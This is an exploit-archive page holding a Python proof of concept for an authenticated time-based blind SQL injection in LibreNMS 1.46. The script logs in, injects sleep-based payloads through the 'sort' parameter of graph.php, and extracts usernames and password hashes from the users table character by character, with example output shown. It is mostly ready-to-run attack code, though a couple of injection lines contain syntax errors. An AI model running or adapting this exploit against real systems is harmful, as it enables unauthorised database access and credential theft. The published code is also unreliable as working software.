what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

LibreNMS 1.46 SQL Injection

LibreNMS 1.46 SQL Injection
Posted Dec 14, 2020
Authored by Hodorsec

LibreNMS version 1.46 suffers from an authenticated remote SQL injection vulnerability in the MAC Account Graph. Original discovery of SQL injection in this version is attributed to Punt in May of 2020.

tags | exploit, remote, sql injection
SHA-256 | ea3344c4db8aac29739017c56d9f67f842adeab17b741741d19a6459f7ef0656

LibreNMS 1.46 SQL Injection

Change Mirror Download
# Exploit Title: LibreNMS 1.46 - MAC Accounting Graph Authenticated SQL Injection
# Google Dork: Unknown
# Date: 13-12-2020
# Exploit Author: Hodorsec
# Vendor Homepage: https://www.librenms.org
# Software Link: https://github.com/librenms/librenms
# Update notice: https://community.librenms.org/t/v1-69-october-2020-info/13838
# Version: 1.46
# Tested on: Debian 10, PHP 7, LibreNMS 1.46; although newer version might be affected until 1.69 patch
# CVE : N/A

#!/usr/bin/python3

# EXAMPLE:
# $ python3 poc_librenms-1.46_auth_sqli_timed.py librenms D32fwefwef http://192.168.252.14 2
# [*] Checking if authentication for page is required...
# [*] Visiting page to retrieve initial token and cookies...
# [*] Retrieving authenticated cookie...
# [*] Printing number of rows in table...
# 1
# [*] Found 1 rows of data in table 'users'
#
# [*] Retrieving 1 rows of data using 'username' as column and 'users' as table...
# [*] Extracting strings from row 1...
# librenms
# [*] Retrieved value 'librenKs' for column 'username' in row 1
# [*] Retrieving 1 rows of data using 'password' as column and 'users' as table...
# [*] Extracting strings from row 1...
# $2y$10$pAB/lLNoT8wx6IedB3Hnpu./QMBqN9MsqJUcBy7bsr
# [*] Retrieved value '$2y$10$pAB/lLNoT8wx6IedB3Hnpu./QMBqN9MsqJUcBy7bsr' for column 'password' in row 1
#
# [+] Done!

import requests
import urllib3
import os
import sys
import re
from bs4 import BeautifulSoup

# Optionally, use a proxy
# proxy = "http://<user>:<pass>@<proxy>:<port>"
proxy = ""
os.environ['http_proxy'] = proxy
os.environ['HTTP_PROXY'] = proxy
os.environ['https_proxy'] = proxy
os.environ['HTTPS_PROXY'] = proxy

# Disable cert warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Set timeout
timeout = 10

# Injection prefix and suffix
inj_prefix = "(select(sleep("
inj_suffix = ")))))"

# Decimal begin and end
dec_begin = 48
dec_end = 57

# ASCII char begin and end
ascii_begin = 32
ascii_end = 126

# Handle CTRL-C
def keyboard_interrupt():
"""Handles keyboardinterrupt exceptions"""
print("\n\n[*] User requested an interrupt, exiting...")
exit(0)

# Custom headers
def http_headers():
headers = {
'User-Agent': 'Mozilla',
}
return headers

def check_auth(url,headers):
print("[*] Checking if authentication for page is required...")
target = url + "/graph.php"
r = requests.get(target,headers=headers,timeout=timeout,verify=False)
if "Unauthorized" in r.text:
return True
else:
return False

def get_initial_token_and_cookies(url,headers):
print("[*] Visiting page to retrieve initial token and cookies...")
target = url + "/login"
r = requests.get(target,headers=headers,timeout=timeout,verify=False)
soup = BeautifulSoup(r.text,'html.parser')
for n in soup('input'):
if n['name'] == "_token":
token = n['value']
return token,r.cookies
else:
return None,r.cookies

def get_valid_cookie(url,headers,token,cookies,usern,passw):
print("[*] Retrieving authenticated cookie...")
appl_cookie = "laravel_session"
post_data = {'_token':token,
'username':usern,
'password':passw,
'submit':''}
target = url + "/login"
r = requests.post(target,data=post_data,headers=headers,cookies=cookies,timeout=timeout,verify=False)
res = r.text
if "Overview | LibreNMS" in res:
return r.cookies
else:
print("[!] No valid response from used session, exiting!\n")
exit(-1)

# Perform the SQLi call for injection
def sqli(url,headers,cookies,inj_str,sleep):
comment_inj_str = re.sub(" ","/**/",inj_str)
inj_params = {'id':'1',
'stat':'none',
'type':'port_mac_acc_total',
'sort':comment_inj_str,
'debug':'1'}
inj_params_unencoded = "&".join("%s=%s" % (k,v) for k,v in inj_params.items())
# Do GET request
r = requests.get(url,params=inj_params_unencoded,headers=headers,cookies=cookies,timeout=timeout,verify=False)
res = r.elapsed.total_seconds()
if res >= sleep:
return True
elif res < sleep:
return False
else:
print("[!] Something went wrong checking responses. Check responses manually. Exiting.")
exit(-1)

# Extract rows
def get_rows(url,headers,cookies,table,sleep):
rows = ""
max_pos_rows = 4
# Get number maximum positional characters of rows: e.g. 1096,2122,1234,etc.
for pos in range(1,max_pos_rows+1):
# Test if current pos does have any valid value. If not, break
direction = ">"
inj_str = inj_prefix + str(sleep) + "-(if(ORD(MID((select IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM " + table + ")," + str(pos) + ",1))" + direction + "1,0," + str(sleep) + inj_suffix
if not sqli(url,headers,cookies,inj_str,sleep):
break
# Loop decimals
direction = "="
for num_rows in range(dec_begin,dec_end+1):
row_char = chr(num_rows)
inj_str = inj_prefix + str(sleep) + "-(if(ORD(MID((select IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM " + table + ")," + str(pos) + ",1))"=+ direction + str(num_rows) + ",0," + str(sleep) + inj_suffix
if sqli(url,headers,cookies,inj_str,sleep):
rows += row_char
print(row_char,end='',flush=True)
break
if rows != "":
print("\n[*] Found " + rows + " rows of data in table '" + table + "'\n")
return int(rows)
else:
return False

# Loop through positions and characters
def get_data(url,headers,cookies,row,column,table,sleep):
extracted = ""
max_pos_len = 50
# Loop through length of string
# Not very efficient, should use a guessing algorithm
print("[*] Extracting strings from row " + str(row+1) + "...")
for pos in range(1,max_pos_len):
# Test if current pos does have any valid value. If not, break
direction = ">"
inj_str = inj_prefix + str(sleep) + "-(if(ord(mid((select ifnull(cast(" + column + " as NCHAR),0x20) from " + table + " LIMIT " + str(row) += ",1)," + str(pos) + ",1))" + direction + str(ascii_begin) + ",0," + str(sleep) + inj_suffix
if not sqli(url,headers,cookies,inj_str,sleep):
break
# Loop through ASCII printable characters
direction = "="
for guess in range(ascii_begin,ascii_end+1):
extracted_char = chr(guess)
inj_str = inj_prefix + str(sleep) + "-(if(ord(mid((select ifnull(cast(" + column + " as NCHAR),0x20) from " + table + " LIMIT " + str(row) + ",1)," + str(pos) + ",1))" + direction + str(guess) + ",0," + str(sleep) + inj_suffix
if sqli(url,headers,cookies,inj_str,sleep):
extracted += chr(guess)
print(extracted_char,end='',flush=True)
break
return extracted

# Main
def main(argv):
if len(sys.argv) == 5:
usern = sys.argv[1]
passw = sys.argv[2]
url = sys.argv[3]
sleep = int(sys.argv[4])
else:
print("[*] Usage: " + sys.argv[0] + " <username> <password> <url> <sleep_in_seconds>\n")
exit(0)

# Random headers
headers = http_headers()

# Do stuff
try:
# Get a valid initial token and cookies
token,cookies = get_initial_token_and_cookies(url,headers)

# Check if authentication is required
auth_required = check_auth(url,headers)

if auth_required:
# Get an authenticated session cookie using credentials
valid_cookies = get_valid_cookie(url,headers,token,cookies,usern,passw)
else:
valid_cookies = cookies
print("[+] Authentication not required, continue without authentication...")

# Setting the correct vulnerable page
url = url + "/graph.php"

# The columns to retrieve
columns = ['username','password']

# The table to retrieve data from
table = "users"

# Getting rows
print("[*] Printing number of rows in table...")
rows = get_rows(url,headers,valid_cookies,table,sleep)
if not rows:
print("[!] Unable to retrieve rows, checks requests.\n")
exit(-1)

# Getting values for found rows in specified columns
for column in columns:
print("[*] Retrieving " + str(rows) + " rows of data using '" + column + "' as column and '" + table + "' as table...")
for row in range(0,rows):
# rowval_len = get_length(url,headers,row,column,table)
retrieved = get_data(url,headers,valid_cookies,row,column,table,sleep)
print("\n[*] Retrieved value '" + retrieved + "' for column'" + column + "' in row " + str(row+1))
# Done
print("\n[+] Done!\n")

except requests.exceptions.Timeout:
print("[!] Timeout error\n")
exit(-1)
except requests.exceptions.TooManyRedirects:
print("[!] Too many redirects\n")
exit(-1)
except requests.exceptions.ConnectionError:
print("[!] Not able to connect to URL\n")
exit(-1)
except requests.exceptions.RequestException as e:
print("[!] " + str(e))
exit(-1)
except requests.exceptions.HTTPError as e:
print("[!] Failed with error code - " + str(e.code) + "\n")
exit(-1)
except KeyboardInterrupt:
keyboard_interrupt()
exit(-1)

# If we were called as a program, go execute the main function.
if __name__ == "__main__":
main(sys.argv[1:])


Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close